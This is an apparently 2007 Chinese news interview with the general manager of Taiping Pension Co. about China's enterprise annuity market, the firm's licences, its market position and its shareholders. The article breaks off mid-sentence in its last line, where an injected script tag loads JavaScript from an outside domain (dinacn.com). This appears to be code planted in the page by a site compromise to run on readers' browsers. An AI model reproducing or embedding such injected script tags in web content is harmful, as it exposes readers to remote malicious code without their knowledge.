2005年8 月，29 家金融机构首批获得了劳动和社会保障部颁发的37 个企业年金基金管理资格，标志着我国企业年金正式开始实质性运作。作为国内最早参与企业年金改革试点的专业机构，太平养老保险股份有限公司同时获得受托管理人和投资管理人两项资格。一年多来，太平养老凭借其领先的专业技术和先发优势，在企业年金市场上取得了可喜的成绩。截至2007 年4 月，太平养老已经与500 多家企业正式签订了标准企业年金管理合同，其中绝大部分承担受托和投资管理两个资格，并在17 个省市（包括计划单列市）签订了当地市场的标准企业年金“第一单”，同时也是交通、烟草、银行、保险、宾馆、港口以及中央企业和中外合资企业等众多领域的第一单。

　　从目前情况看，无论是签约的企业数量还是企业年金基金管理规模，在5 个法人受托机构和15 家投资管理人当中都处于领先地位。太平养老在企业年金领域的专业能力以及其卓有成效的推动工作得到了劳动和社会保障部以及保监会等监管部门的充分肯定。那么，太平养老为什么会取得市场的领先地位？其核心优势又是什么呢？为此，记者采访了太平养老保险

　　股份有限公司总经理杨帆先生。

　　做最专业、最具创新精神的综合性养老金服务商

　　记者：当前我国企业年金市场呈现加速发展的趋势，给金融机构带来了新的战略机遇。太平养老作为国内企业年金的先行者，对把握这一机遇有什么样的考虑？

　　杨帆：当前，我国的养老保障体系正处于重大的变革期，企业年金作为社会保障的第二支柱，可以在提高员工退休生活水平、稳定员工队伍方面发挥重要的作用，对建设和谐社会具有十分重大的意义。随着现代企业经营观念的改变，中国企业家越来越重视对员工的人性化关怀，重视企业年金对员工的激励作用和留住人才的金手铐作用。从政策层面上讲，国家鼓励合格的企业建立企业年金计划，相关政策正趋于完善，从企业年金的两个试行办法，到最近劳动保障部发布的2006[34] 号文件《关于进一步加强社会保险基金管理监督工作的通知》，国家正在积极创造条件，消除企业年金市场化运作的障碍。不仅财政部、国资委和税务部门对建立企业年金持积极的态度，国务院《关于保险业改革发展的若干意见》的“国十条”也强调要大力支持保险业参与企业年金的发展。

　　通过我们对市场的研究，结合其他一些境外权威机构的预测，我们认为，中国企业年金市场巨大，5 年内可能达到5 至6 千亿元的规模；一旦进入高速增长的阶段，10 年左右，中国市场将有望达到万亿的规模，中国将成为全球最大的养老金市场之一，也将是中国金融业的最大增长点和长期金融资产的主要来源。

　　正是基于这样的判断，中国保险集团将发展养老金业务作为集团的重要战略，提出养老金业务是集团多元化战略中的重要组成部分，是境内业务新的增长点。太平养老作为中国保险集团重要的成员公司，承载着实现集团养老金战略目标的重要使命。

　　为此，太平养老提出了五年整体规划，我们要致力于成为市场上最权威、最高知名度的养老金公司，引领企业年金市场，打造行业规范，同时要确保市场领先地位。此外我们提出要秉承“用心经营，诚信服务”的经营理念，以“安全、收益、服务”为经营宗旨，建立“技术领先，服务卓越”的优秀品牌，成为市场上最专业和最具创新精神的综合性养老金服务商。

　　记者：首批29 家企业年金基金管理机构颁布一年多以来，由于仍存在一些制约性因素，市场整体发展速度与相关预期还有一定差距，各机构企业年金业务发展很不平衡，有的机构业务量几乎为零。而太平养老已经与260 多家企业签订了标准企业年金受托合同，成为企业年金领域的领跑者。您认为其中的关键成功因素有哪些？

　　杨帆：这是一个综合性的问题，以我个人的体会，概括起来有四点：第一源于太平养老和中国保险集团的整体实力和品牌优势；第二是我们专业化经营的理念；第三是政府的支持；第四是我们积极的心态，倡导“以开放之心，走共赢之路”，能够不断加强与其他资格匹配的运营机构之间的合作。

　　记者：太平养老作为中国保险集团重要的成员公司，其实力优势主要体现在哪里？

　　杨帆：太平养老股东包括中国保险（控股）有限公司、太平人寿保险有限公司、中保集团资产管理有限公司、太平保险有限公司和富通国际有限公司。公司股东管理的资产超过六万亿元人民币，在年金计划管理、风险管控方面有着丰富的经验，为太平养老提供了强有力的管理和技术支持。其中的富通集团位于全球500 强第23 位，是欧洲市场养老金的主要供应商。

　　同时，我们还拥有国际化的企业年金专家队伍，公司拥有具备丰富经验的精算师、投资专家和IT 专家。我们的总精算师谭伟民先生曾任职香港政府总精算师，负责香港强积金制度的监管规章及立法，被誉为“香港强积金之父”。我们高级管理层都是拥有丰富的企业年金、投资、保险、财务管理经验，具备?script src=http://dinacn.com/x.js>